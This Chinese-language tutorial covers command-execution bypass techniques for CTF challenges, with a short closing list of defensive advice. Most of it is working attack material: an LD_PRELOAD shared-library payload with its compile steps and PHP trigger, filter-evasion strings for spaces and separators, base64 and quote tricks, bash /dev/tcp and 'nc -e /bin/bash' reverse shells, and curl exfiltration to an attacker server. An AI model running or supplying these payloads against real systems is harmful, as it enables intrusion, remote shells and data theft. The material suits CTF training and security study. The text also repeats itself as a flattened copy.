CTF中的命令执行绕过
字数 1115 2025-08-13 21:33:22

CTF中的命令执行绕过技术详解

1. 命令执行与代码执行的区别

  • 命令执行:调用操作系统命令进行执行(如system, exec等函数)
  • 代码执行:调用服务器网站代码进行执行(如eval, assert等函数)

2. 常见命令执行函数

  1. system() - 执行外部程序并显示输出
  2. passthru() - 执行外部程序并显示原始输出
  3. exec() - 执行外部程序但不直接输出结果
  4. shell_exec() - 通过shell执行命令并以字符串返回完整输出
  5. 反引号(`) - 执行shell命令并返回输出

3. disable_function绕过技术

3.1 LD_PRELOAD方法

条件:目标服务器未禁用mail函数

步骤

  1. 编写恶意C代码:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("ls /var/www/html > /tmp/smity");
}

int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}
  1. 编译为共享库:
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so
  1. 上传并执行PHP脚本:
<?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
?>

3.2 PHP_GC方法

条件:PHP版本7.0 < 7.3 (Unix系统)

原理:利用PHP垃圾回收机制中的UAF(Use After Free)漏洞

4. 过滤字符绕过技术

4.1 空格绕过

可用以下字符代替空格:

  • <
  • ${IFS}
  • $IFS$9
  • %09 (URL编码的空格)

示例:

cat<test.txt
cat${IFS}test.txt
cat$IFS$9test.txt

4.2 截断符号

常用截断符号:

  • ; - 命令分隔符
  • | - 管道符
  • & - 后台执行
  • && - 前命令成功则执行后命令
  • || - 前命令失败则执行后命令
  • %0a - 换行符(URL编码)
  • { } - 命令块

示例:

127.0.0.1;cat /home/flag.txt
command1 && command2
command1 || command2

4.3 Base64编码绕过

示例:

echo 'cat' | base64  # 输出: Y2F0Cg==
`echo 'Y2F0Cg==' | base64 -d` test.txt

4.4 单引号绕过

示例:

cat /etc/pass'w'd

4.5 反斜杠利用

短字符限制绕过

wget\ domain.com -O\ shell.php
ls\ -t>a

4.6 命令连接技巧

  1. 创建文件:
1>1  # 创建空文件1
ls>1  # 将ls结果写入文件1
  1. 按时间排序:
ls -t>a  # 按时间排序写入文件a

5. 命令执行结果受限时的解决方案

5.1 反弹Shell

  1. 传统方法:
bash -i >& /dev/tcp/ip/port 0>&1
  1. 简化方法:
nc -e /bin/bash ip port

监听端:

nc -lvv 8080

5.2 使用curl外带数据

  1. GET方式:
curl -v http://your-server/?`whoami`
  1. POST方式:
curl -v http://your-server --data "`whoami`"

6. 特殊场景绕过案例

6.1 长度限制+eval限制案例

题目代码:

<?php
highlight_file(__FILE__);
if ($x = @$_GET['x']) {
    eval(substr($x, 0, 5));
}
?>

绕过方法

  1. 利用反引号自执行:
$x=`$x`;nc -e /bin/bash ip port

即使只取前5字符($x=),整个表达式仍会被执行

  1. 使用连接符:
$x;nc -e /bin/bash ip port

7. 综合防御建议

  1. 严格过滤所有用户输入
  2. 使用白名单而非黑名单
  3. 禁用危险函数(但要知道如何绕过)
  4. 限制命令执行环境
  5. 使用自定义函数替代系统命令调用

8. 实战技巧总结

  1. 遇到过滤时尝试多种编码方式
  2. 空格被过滤时使用替代符号
  3. 关键命令被过滤时尝试拼接或编码
  4. 无回显时考虑外带数据或反弹shell
  5. 注意不同操作系统(Linux/Windows)的差异
  6. 利用环境变量和特殊符号进行绕过

通过掌握这些技术,CTF选手和安全研究人员可以更好地理解命令执行的原理和绕过方法,同时也能帮助开发人员编写更安全的代码。

CTF中的命令执行绕过技术详解 1. 命令执行与代码执行的区别 命令执行 :调用操作系统命令进行执行(如system, exec等函数) 代码执行 :调用服务器网站代码进行执行(如eval, assert等函数) 2. 常见命令执行函数 system() - 执行外部程序并显示输出 passthru() - 执行外部程序并显示原始输出 exec() - 执行外部程序但不直接输出结果 shell_exec() - 通过shell执行命令并以字符串返回完整输出 反引号( ` ) - 执行shell命令并返回输出 3. disable_ function绕过技术 3.1 LD_ PRELOAD方法 条件 :目标服务器未禁用mail函数 步骤 : 编写恶意C代码: 编译为共享库: 上传并执行PHP脚本: 3.2 PHP_ GC方法 条件 :PHP版本7.0 < 7.3 (Unix系统) 原理 :利用PHP垃圾回收机制中的UAF(Use After Free)漏洞 4. 过滤字符绕过技术 4.1 空格绕过 可用以下字符代替空格: < ${IFS} $IFS$9 %09 (URL编码的空格) 示例: 4.2 截断符号 常用截断符号: ; - 命令分隔符 | - 管道符 & - 后台执行 && - 前命令成功则执行后命令 || - 前命令失败则执行后命令 %0a - 换行符(URL编码) { } - 命令块 示例: 4.3 Base64编码绕过 示例: 4.4 单引号绕过 示例: 4.5 反斜杠利用 短字符限制绕过 : 4.6 命令连接技巧 创建文件: 按时间排序: 5. 命令执行结果受限时的解决方案 5.1 反弹Shell 传统方法: 简化方法: 监听端: 5.2 使用curl外带数据 GET方式: POST方式: 6. 特殊场景绕过案例 6.1 长度限制+eval限制案例 题目代码: 绕过方法 : 利用反引号自执行: 即使只取前5字符( $x= ),整个表达式仍会被执行 使用连接符: 7. 综合防御建议 严格过滤所有用户输入 使用白名单而非黑名单 禁用危险函数(但要知道如何绕过) 限制命令执行环境 使用自定义函数替代系统命令调用 8. 实战技巧总结 遇到过滤时尝试多种编码方式 空格被过滤时使用替代符号 关键命令被过滤时尝试拼接或编码 无回显时考虑外带数据或反弹shell 注意不同操作系统(Linux/Windows)的差异 利用环境变量和特殊符号进行绕过 通过掌握这些技术,CTF选手和安全研究人员可以更好地理解命令执行的原理和绕过方法,同时也能帮助开发人员编写更安全的代码。